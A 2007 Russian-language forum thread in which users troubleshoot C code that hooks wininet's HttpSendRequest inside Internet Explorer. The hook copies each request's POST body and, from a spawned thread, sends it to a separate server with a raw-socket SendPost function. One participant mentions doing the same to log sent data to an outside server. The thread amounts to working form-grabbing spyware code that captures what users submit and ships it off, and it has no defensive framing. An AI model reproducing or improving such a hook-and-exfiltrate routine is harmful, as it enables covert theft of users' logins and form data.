Потоки и хуки на АПИ

Тема в разделе "WASM.WIN32", создана пользователем wertyman, 16 янв 2007.

  1. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Добрый!
    Столкнулся со странной проблемой, теоретически я как понимаю так не должно происходить...
    Короче, перехватываются wininet АПИ, из HttpSendRequest запускается поток мой, но судя по всему он не успевает отработать? Такое возможно ? То есть когда АПИ возвращает результат, мой поток грохается в неожиданных местах! Память выделяю через хип и передаю потоку нужные данные, только через динамические буферы...
    Хотя че странно, если в потоке просто сделать while(1) { Sleep(1000); DbgLog("thread"); }
    То поток живой..
    Еще особенность, поток дохнет когда редирект на странице идет! Но я считаю это из за того, что wininet отрабатывает быстрее в этом случае, тк данных читать по минимуму нужно и сразу же делает другие вызовы..
    Кто нибудь сталкивался с подобным ? Что посоветуете ? Отладчиками пользоватся не умею :dntknw: через оли глядел, нашел то место, где кирдык потоку приходит, но не понял ни шиша :)

    Хотя бы ответьте, ( теоретически, если АПИ вызываются потоком созданным самим iexplorer ) если я из одного потока ( не главного ) создаю свой, затем родительский завершается, мой то же завершится или же потоки зависимы только от одного главного потока ?
     
  2. explosion

    explosion Member

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    34
    поток существует, пока существует процесс, неважно откуда он создан (ну только если его не прибили насильственно TerminateThread).

    а ты уверен что буферы не были удалены пока твой поток отработал?

    дай код треда, так трудно сказать в чем проблема
     
  3. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    скорее всего бага в реализации, я пробовал создавать в похуканом HttpSendRequest поток, который логирует на левый сервак отправляемые данные (выделяю память с помошью VirtualAlloc, копирую данные в неё, передаю аддрес потоковой ф-ции и освобождаю в её конце) - всё работает
    так что код в студию
     
  4. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Регистрация:
    2 окт 2003
    Сообщения:
    4.300
    Адрес:
    Ukraine
    Только то, что создано на стеке потока.
     
  5. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Вот и я про то ! Я уж решил, что вся моя теория к чертям собачим :)
    Но все логично и просто, на сто раз проверял код, переписывал по другому и тп...
    Почему же, если после некоторых операций в функции с потоком сделать слип на 5 секунд, то все на отлично отрабатывает ? Данные доинициализировались что ли ? :)
    Вот код создания потока в функции HttpSendRequest
    Код (Text):
    1.     if(lpOptional != NULL && dwOptionalLen > 5) {
    2.         P_DATA pData = (P_DATA)xmalloc(sizeof(_DATA));
    3.         if(pData != NULL) {
    4.             pData->lpszData = (char *)xmalloc(dwOptionalLen+1);
    5.             if(pData->lpszData != NULL) {
    6.                 pData->dwLen = dwOptionalLen;
    7.                 CopyMemory(pData->lpszData, (char *)lpOptional, dwOptionalLen);
    8.                 CreateThread(NULL, 0, Register, pData, 0, &dwThread);
    9.             }
    10.         }
    11.     }  
    12.  
    13.     res = HttpSendRequestA( hRequest, lpszHeaders, dwHeadersLenght, lpOptional, dwOptionalLen );
    макросы:
    Код (Text):
    1. #define xmalloc(s)      HeapAlloc  ( GetProcessHeap(), HEAP_ZERO_MEMORY|HEAP_GENERATE_EXCEPTIONS,(s))
    2. #define xfree(p)        HeapFree   ( GetProcessHeap(), 0,(p))
    3. #define xrealloc(p, s)  HeapReAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY|HEAP_GENERATE_EXCEPTIONS, (p), (s))
    после всех операций в потоке освобождаю память:

    Код (Text):
    1.     xfree(pData->lpszData);
    2.     xfree(pData);
    но до этого даже дело не доходит ессно...
     
  6. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Пробовал и через VirualAlloc и через LocalAlloc выделять память
     
  7. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Все перепроверил, и оказалось, что он тупо виснет на recv при отправке POST на сервер в моем потоке..
    От чего бы это могло зависеть ?
    Быть может помогли бы ассинхроные сокеты, но не охото связыватся :dntknw:
    Код (Text):
    1. DWORD SendPost(LPSTR szHost, LPSTR szQueryStr, LPSTR lpszBuffer, DWORD dwBufSize, DWORD dwDataSize)
    2. {
    3.     struct sockaddr_in addr;
    4.     DWORD dwRes = 0;
    5.     DWORD dwTotalRecv = 0;
    6.     char szRecvBuf[2056];
    7.    
    8.     //Sleep(5000);
    9.     HOSTENT *host = gethostbyname(szHost);
    10.    
    11.     if(host) {
    12.         ZeroMemory(&addr, sizeof(struct sockaddr_in));
    13.         addr.sin_addr.s_addr = *((unsigned long *) host->h_addr);
    14.         addr.sin_port   = htons( 80 );
    15.         addr.sin_family = AF_INET;
    16.     } else {
    17.         DbgLog("gethostbyname error: %d", WSAGetLastError());
    18.         return -1;
    19.     }
    20.    
    21.     SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
    22.     if(s == INVALID_SOCKET)
    23.         return -1;
    24.  
    25.     if(connect(s, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) {
    26.         DbgLog("connect error: %d", WSAGetLastError());
    27.         return -1;
    28.     }
    29.     ZeroMemory(szRecvBuf, sizeof(szRecvBuf));
    30.     wsprintf(szRecvBuf, szHeaders, szQueryStr, szHost, dwDataSize+4);
    31.  
    32.     dwRes = send(s, szRecvBuf, lstrlen( szRecvBuf ), 0);
    33.     if(dwRes == -1) { DbgLog("send error: %d", WSAGetLastError()); return -1; }
    34.    
    35.     dwRes = send(s, lpszBuffer, dwDataSize, 0);
    36.     if(dwRes == -1) { DbgLog("send error: %d", WSAGetLastError()); return -1; }
    37.     send(s, "\xD\xA\xD\xA", 4, 0);
    38.    
    39.     ZeroMemory(lpszBuffer, dwBufSize);
    40.     ZeroMemory(szRecvBuf,  sizeof(szRecvBuf)); 
    41.  
    42.     while(1) { // на этом цикле и застреваем...
    43.         dwRes = recv(s, szRecvBuf, sizeof( szRecvBuf ) - 1, 0);
    44.  
    45.         if(dwRes != SOCKET_ERROR && dwTotalRecv+dwRes < dwBufSize) {
    46.             lstrcat(lpszBuffer, szRecvBuf);        
    47.             dwTotalRecv += dwRes;
    48.         } else break;
    49.     }
    50.  
    51.     closesocket(s);
    52.      
    53.     return dwTotalRecv;
    54. }
     
  8. Paxan

    Paxan New Member

    Публикаций:
    0
    Регистрация:
    3 сен 2005
    Сообщения:
    10
    если висит на recv то значит ответа от сервера нет.
    юзай select()
     
  9. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Уже сделал на селектах, все нормально...
    Так почему, когда немного задержишься сам или возврат из АПИ замедлить, то и так хорошо отрабатывает.. recv все равно должна вернуть что то, а так такое ощущение, что ИЕ сам перекрывает все сокеты в какой то момент :dntknw:
    На самом деле хотелось бы разобратся в таком поведение..